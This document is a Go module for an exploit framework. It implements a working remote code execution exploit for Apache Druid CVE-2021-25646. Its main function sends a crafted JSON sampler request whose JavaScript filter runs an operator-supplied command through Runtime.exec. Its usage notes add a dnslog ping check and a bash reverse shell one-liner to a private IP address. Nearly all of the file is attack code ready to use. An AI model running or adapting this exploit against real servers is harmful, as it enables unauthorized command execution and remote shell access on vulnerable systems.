package exp_Druid

import (
	"github.com/lz520520/railgunlib/pkg/register/exp_register"
	"github.com/lz520520/railgunlib/pkg/templates/common"
	"github.com/lz520520/railgunlib/pkg/templates/exp_model"
	"github.com/lz520520/railgunlib/pkg/templates/exp_templates"
	"strings"
	"time"
)

type Exp_CVE_2021_25646 struct {
	exp_templates.ExpTemplate
}

func (self *Exp_CVE_2021_25646) Cmd1(cmd string) (expResult exp_model.ExpResult) {
	//获取header
	headers := self.GetInitExpHeaders()
	//设置格式
	headers.Set("Content-Type", "application/json")
	//设置poc
	payload := `{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript","function":"function(value){return java.lang.Runtime.getRuntime().exec('l1ang')}","dimension":"added","":{"enabled":"true"}}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":""}}`
	//替换poc
	payload = strings.Replace(payload, "l1ang", cmd, 1)
	self.Params.Timeout = time.Second * 100
	httpresp := self.HttpPostWithoutRedirect(self.AppendUri(self.Params.Target, "/druid/indexer/v1/sampler?for=filter"), payload, headers)
	if httpresp.Err != nil {
		expResult.Err = httpresp.Err
		self.EchoInfoMsg("执行失败，请检查命令执行结果！")
		return
	}
	self.EchoInfoMsg("执行成功，请检查命令执行结果！")
	return expResult
}

func init() {
	expmsg := exp_model.ExpMsg{
		Author:    "凉风",
		Time:      "2022-05-22",
		Range:     "Druid <= 0.20.0",
		ID:        "CVE_2021_25646",
		Describe:  "Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。\nApache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中，默认已被禁用。但是，在Druid 0.20.0及更低版本中，经过身份验证的用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。",
		Details:   "1,使用dnslog判断 \nping -c 1 xxx.dnslog.cn \n2,反弹shell \nbash -i >& /dev/tcp/192.168.0.0/8443 0>&1",
		Payload:   "",
		Reference: "http://wiki.cisp-pte.com/#/wiki",
		VulType:   common.VulCmdExec,
	}
	registerMsg := exp_register.ExpRegisterMsg{
		Msg: expmsg,
	}
	exp_register.ExpStructRegister(&Exp_CVE_2021_25646{}, registerMsg)
}
